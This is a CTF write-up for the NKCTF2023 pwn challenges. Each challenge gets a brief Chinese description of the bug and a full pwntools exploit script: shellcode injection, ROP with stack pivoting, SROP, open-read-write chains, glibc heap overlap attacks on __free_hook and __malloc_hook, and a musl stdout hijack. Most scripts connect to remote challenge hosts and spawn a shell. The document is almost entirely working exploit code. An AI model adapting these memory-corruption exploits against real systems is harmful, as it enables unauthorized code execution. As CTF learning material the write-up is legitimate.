NKCTF2023
ezshellcode
ret2shellcode,用nop当滑板来避免爆破
from pwn import *
context.update(os='linux',arch='amd64')
context.log_level='debug'
binary='./ezshellcode'
elf=ELF(binary)
#libc=ELF('')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node.yuzhian.com.cn'
port='38353'
p=remote(host,port)
def pwn():
payload = shellcraft.sh()
p.recvuntil("min!")
p.send('\x90'*100+asm(payload))
p.interactive()
pwn()
a_story_of_a_pwner
在bss段上构造链子,再栈迁移ret2bss
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./story'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node2.yuzhian.com.cn'
port='34482'
p=remote(host,port)
menu = "> "
def acm(content):
p.sendlineafter(menu,'1')
p.sendafter("comment?",content)
def ctf(content):
p.sendlineafter(menu,'2')
p.sendafter("corment?",content)
def love(content):
p.sendlineafter(menu,'3')
p.sendafter("corMenT?",content)
def heart():
p.sendlineafter(menu,'4')
def pwn():
heart()
p.recvuntil("0x")
libc_base = int(p.recvn(12),16) - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
pop_rdi_ret = libc_base + 0x0000000000023b6a
leave_ret = 0x000000000040139e
log.info("libc_base --> "+hex(libc_base))
ctf(p64(pop_rdi_ret))
acm(p64(binsh))
love(p64(system))
heart()
p.recvuntil("heart...\n")
payload = 'a'*0xa + p64(0x4050a0-0x8) + p64(leave_ret)
p.send(payload)
p.interactive()
pwn()
ez_stack
在0x401146有执行SROP的后门,在bss上写入/bin/sh,再执行SROP即可
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./ez_stack'
elf=ELF(binary)
#libc=ELF('')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node.yuzhian.com.cn'
port='36591'
p=remote(host,port)
bss = elf.bss(0x200)
csu_back = 0x000000000040127A
csu_front = 0x0000000000401260
pop_rbp_ret = 0x000000000040111d
ret = 0x000000000040101a
pop_rdi_ret = 0x0000000000401283
pop_rsi_r15_ret = 0x0000000000401281
pop_rsp_r13_r14_r15_ret = 0x000000000040127d
syscall = 0x000000000040114E
magic = 0x401146
def pwn():
p.recvuntil("NKCTF!\n")
frame = SigreturnFrame()
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall
payload = 'a'*(0x10+8) + p64(pop_rsi_r15_ret)
payload += p64(bss) + p64(0) + p64(syscall)
payload += p64(magic) + p64(syscall) + bytes(frame)
#gdb.attach(p)
p.send(payload)
#pause()
sleep(0.3)
payload = "/bin/sh\x00"
p.send(payload)
p.interactive()
pwn()
babyrop
my_read函数中存在off-by-null,会改掉rbp值的低一字节,就可以实现栈迁移,用ret当滑板,提高成功概率,先用puts来leak,再配合ret2csu(因为0x0a会导致截断,不能直接用pop_rbx开始的csu,用从pop_rbp开始的csu,并且要调整各寄存器的赋值,才能实现ret2csu的功能),实现写入bssgadget链子,并栈迁移到bss上
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./babyrop'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node.yuzhian.com.cn'
port='39496'
p=remote(host,port)
read_got = elf.got["read"]
pop_rdi_ret = 0x0000000000401413
pop_rsi_r15_ret = 0x0000000000401411
pop_rbp_ret = 0x00000000004011bd
ret = 0x000000000040101a
leave_ret = 0x00000000004012af
bss = elf.bss(0x200)
csu_back = 0x000000000040140B
csu_front = 0x00000000004013F0
def csu(func,rdi,rsi,rdx):
payload=''
payload+=p64(csu_back)
payload+=p64(0x4013b1)
payload+=p64(rdi)+p64(rsi)+p64(rdx)+p64(func)
payload+=p64(csu_front)
return payload
def pwn():
p.recvuntil("name: ")
p.sendline('%41$p')
p.recvuntil("Hello, ")
p.recvuntil("0x")
canary = int(p.recvn(16), 16)
log.info("canary --> "+ hex(canary))
payload = p64(ret) * (13)
payload += flat(pop_rdi_ret, elf.got["puts"], elf.plt["puts"])
payload+=p64(csu_back)
payload+=p64(0x4013b1)
payload+=p64(0) + p64(bss) + p64(0x200) + p64(0xFFFFFFFFFE3FA2B0)
payload+=p64(csu_front)
payload += p64(bss)*7 + p64(leave_ret)
payload += p64(canary)
#gdb.attach(p, 'b 0x401365')
p.sendafter("NKCTF: ", payload)
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = addr - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rdx_ret = libc_base + 0x0000000000142c92
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base +0x00000000000630a9
log.info("libc_base --> "+hex(libc_base))
sleep(0.3)
payload = flat(
"./flag".ljust(8,'\x00'),
pop_rdi_ret, bss,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
pop_rax_ret, 2,
syscall_ret,
pop_rdi_ret, 3,
pop_rsi_ret, bss+0x100,
pop_rdx_ret, 0x30,
pop_rax_ret, 0,
syscall_ret,
pop_rdi_ret, 1,
pop_rsi_ret, bss+0x100,
pop_rdx_ret, 0x30,
pop_rax_ret, 1,
syscall_ret,
)
#gdb.attach(p)
p.send(payload)
p.interactive()
pwn()
baby_heap
edit存在off-by-one,实现overlapping,来控制fd指针,实现打__free_hook
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./baby_heap'
elf=ELF(binary)
libc=ELF('./libc-2.32.so')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node2.yuzhian.com.cn'
port='32371'
p=remote(host,port)
menu = "choice: "
def add(idx, size):
p.sendlineafter(menu,'1')
p.sendlineafter("index: ",str(idx))
p.sendlineafter("Size: ",str(size))
def delete(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index: ",str(idx))
def edit(idx, content):
p.sendlineafter(menu,'3')
p.sendlineafter("index: ",str(idx))
p.sendlineafter("content: ",content)
def show(idx):
p.sendlineafter(menu,'4')
p.sendlineafter("index: ",str(idx))
def debug():
gdb.attach(p)
pause()
def pwn():
for i in range(10):
add(i, 0xb8)
delete(0)
add(0, 0xb8)
show(0)
heapbase = u64(p.recvn(5).ljust(8,'\x00'))<<12
log.info("heapbase --> "+hex(heapbase))
for i in range(0,8):
delete(i)
add(0, 0x58)
add(1, 0x58)
show(0)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x1e3cb0
__free_hook = libcbase + libc.sym["__free_hook"]
system = libcbase + libc.sym["system"]
log.info("libcbase --> "+hex(libcbase))
add(2, 0xb8)
payload = 'a'*0xb8 +p8(0xc1)
edit(2, payload)
add(10, 0x58)
delete(10)
delete(1)
delete(0)
add(0,0xb1)
payload = 'a'*0x58 + p64(0x61) + p64(__free_hook^(heapbase>>12))
edit(0, payload)
#debug()
add(3, 0x50)
#debug()
add(4, 0x50)
edit(3, "/bin/sh\x00")
edit(4, p64(system))
delete(3)
p.interactive()
pwn()
only_read
改read_got最低一字节,使得调用read直接执行syscall,再配合栈迁移和read读入的字节数,会赋值给rax,来实现SROP来getshell
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./only_read'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node2.yuzhian.com.cn'
port='39065'
p=remote(host,port)
part1 = "V2VsY29tZSB0byBOS0NURiE="
part2 = "dGVsbCB5b3UgYSBzZWNyZXQ6"
part3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
part4 = "Y2FuIHlvdSBmaW5kIG1lPw=="
csu_back = 0x000000000040167A
csu_front = 0x0000000000401660
pop_rdi_ret = 0x0000000000401683
pop_rsi_r15_ret = 0x0000000000401681
pop_rbp_ret = 0x000000000040117d
leave_ret = 0x00000000004013c2
bss = elf.bss(0xe00)
ret = 0x000000000040101a
# read --> syscall
# memset --> read_plt
# SROP
def pwn():
p.send(part1)
sleep(0.2)
p.send(part2)
sleep(0.2)
p.send(part3)
sleep(0.2)
p.send(part4)
sleep(0.2)
payload = 'a'*(0x30+8) + p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]) + p64(0)
payload += p64(elf.plt["read"])
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(elf.plt["memset"])
payload += p64(pop_rbp_ret) + p64(bss) + p64(leave_ret)
#gdb.attach(p)
p.send(payload)
#pause()
sleep(0.2)
#gdb.attach(p)
payload = p64(0x401050) + '\xd0'
p.send(payload)
#pause()
frame = SigreturnFrame()
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rsp = bss + 0x100
frame.rip = elf.plt["read"]
sleep(0.2)
payload = "/bin/sh\x00"
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]-6) + p64(0)
payload += p64(elf.plt["memset"])
payload += p64(elf.plt["read"]) + bytes(frame)
p.send(payload)
#pause()
sleep(0.2)
payload = '\x00'*6 + p64(0x401050) + '\xd0'
p.send(payload)
#pause()
p.interactive()
pwn()
9961code
一直都不怎么会写shellcode,www,询问了Korey0sh1师傅才会写的,直接getshell就行
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./9961code'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node2.yuzhian.com.cn'
port='38660'
p=remote(host,port)
# cdq give rdx rax'sigbit
def pwn():
p.recvuntil("shellcode!\n")
shellcode = """
xor rsi,rsi
lea rdi,[r15+0xe]
cdq
mov ax,59
syscall
"""
#gdb.attach(p,'b *$rebase(0x139b)')
p.send(asm(shellcode)+'/bin/sh')
p.interactive()
pwn()
note
musl pwn,idx没有限制,可以一直往下找,就会找到你第一次申请的chunk的值的地址,先找个idx,来leak heapbase,然后就可以edit idx0 为某个chunk地址, 然后show上面找到的地址来,leak libc,其实就相当于任意读写,劫持__stdout_used,伪造fake_stdout_file就能getshell
有关musl的知识可以看我之前的blog
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./nk_note'
elf=ELF(binary)
libc=ELF('./libc.so')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='node2.yuzhian.com.cn'
port='36147'
p=remote(host,port)
menu = "choice: "
def add(idx, size, content):
p.sendlineafter(menu, '1')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)
def edit(idx, size, content):
p.sendlineafter(menu, '2')
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)
def delete(idx):
p.sendlineafter(menu, '3')
p.sendlineafter("Index: ",str(idx))
def show(idx):
p.sendlineafter(menu,'4')
p.sendlineafter("Index: ",str(idx))
def debug():
gdb.attach(p)
pause()
def pwn():
add(0,0xc,'aaaa')
add(1,0x1c,'aaaa')
show(0x10)
heapbase = u64(p.recvn(6).ljust(8,'\x00')) - 0x1248
log.info("heapbase-->"+hex(heapbase))
edit(0,0xc,p64(heapbase+0x1320))
show(0x572)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x9bd10
__stdout_used = libc_base + 0x98450
__malloc_context = libc_base + 0x98b60
system = libc_base + libc.sym["system"]
log.info("libc_base-->"+hex(libc_base))
add(2,0x1000,'aaaa')
edit(0,0xc,p64(__stdout_used))
edit(0x572,0x8,p64(libc_base-0x4000+0x20))
fake_stdout_file = '/bin/sh\x00'.ljust(0x38,'\x00') + p64(1) + p64(0) + p64(system)
edit(2,0x50,fake_stdout_file)
#debug()
p.sendlineafter(menu,'5')
p.interactive()
pwn()
bytedance
原题,钝角
scanf读入过多字符,会制造大chunk,从而导致__malloc_consolidate(),能够进入smallbins和unsortedbin
强大的堆风水,off-by-null,制造shrink chunk,来overlapping,堆重叠,泄露libc,再通过double free来在main_arena留下0x41,再控制fd指针来alloc到这里,再控制main_arena->top 到__malloc_hook附近,打ogg,来getshell
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
#context.log_level='debug'
binary='./bytedance'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
debug=1
if debug:
libc=elf.libc
p=process(binary)
else:
host=''
port=''
p=remote(host,port)
menu = "Choice:"
def add(size,content):
p.sendlineafter(menu,'1')
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def show(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index:",str(idx))
def delete(idx):
p.sendlineafter(menu,'3')
p.sendlineafter("index: ",str(idx))
def consolidate():
p.sendlineafter(menu,'1'*0x400)
def debug():
gdb.attach(p)
pause()
# off-by-null
# scanf too much char --> big_chunk
# chunk shrink --> over_lapping
def pwn():
add(0x18,'0'+'\n')
add(0x18,'1'+'\n')
add(0x18,'2'+'\n')
add(0x18,'3'+'\n')
add(0x18,'4'+'\n')
add(0x18,'5'+'\n')
add(0x18,'6'+'\n')
add(0x18,'7'+'\n')
add(0x18,'8'*0x10+p16(0x100)+'\n')
add(0x18,'9'+'\n')
add(0x18,'10'+'\n')
for i in range(1,10):
delete(i)
consolidate()
#debug()
delete(0)
add(0x18,'a'*0x18)# chunk shrink
#debug()
for i in range(7):
add(0x18,'a'+'\n') # 1-7
#debug()
delete(1)
delete(2)
delete(3)
consolidate()# bypass unlink check
#debug()
delete(10)
consolidate()# all back top_chunk
#debug()
add(0x28,'1'+'\n')
add(0x28,'2'+'\n')
add(0x28,'3'+'\n')
add(0x28,'8'+'\n')
add(0x38,'9'*0x30+p64(0x100)+'\n')
add(0x38,'10'+'\n')# 10
add(0x28,'11'+'\n')
#debug()
delete(1)
delete(2)
delete(3)
delete(8)
delete(9)
delete(10)
consolidate()
#debug()
delete(0)
add(0x18,'a'*0x18)# chunk shrink again
#debug()
add(0x28,'1'+'\n')
add(0x28,'2'+'\n')
#debug()
show(4)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
for i in range(4):
one[i] += libc_base
log.info("libc_base-->" + hex(libc_base))
add(0x28,'3'+'\n')# 3 4
add(0x28,'8'+'\n')
add(0x38,'9'+'\n')#9 7
add(0x38,'10'+'\n')
delete(3)
delete(8)
delete(4)
delete(9)
delete(10)
delete(7)
add(0x28,p64(0x41)+'\n')# 3 leave 0x41 in main_arena
add(0x28,'a'+'\n')# 4
add(0x28,'a'+'\n')# 7
add(0x38,p64(libc_base+0x3c4b20+0x8)+'\n')# 8
add(0x38,'a'+'\n')# 9
add(0x38,'a'+'\n')# 10
# leave another 0x41 alloc to there
add(0x38,p64(libc_base+0x3c4b20+0x8+0x20)+'\x00'*0x10+p64(0x41)+'\n')# 12
# change main_arena.top--> __malloc_hook
add(0x38,'\x00'*0x20+p64(libc_base+0x3c4b10-0x10)+p64(0)+'\n')
add(0x38,p64(one[2])*2+'\n')
delete(3)
delete(7)
p.interactive()
pwn()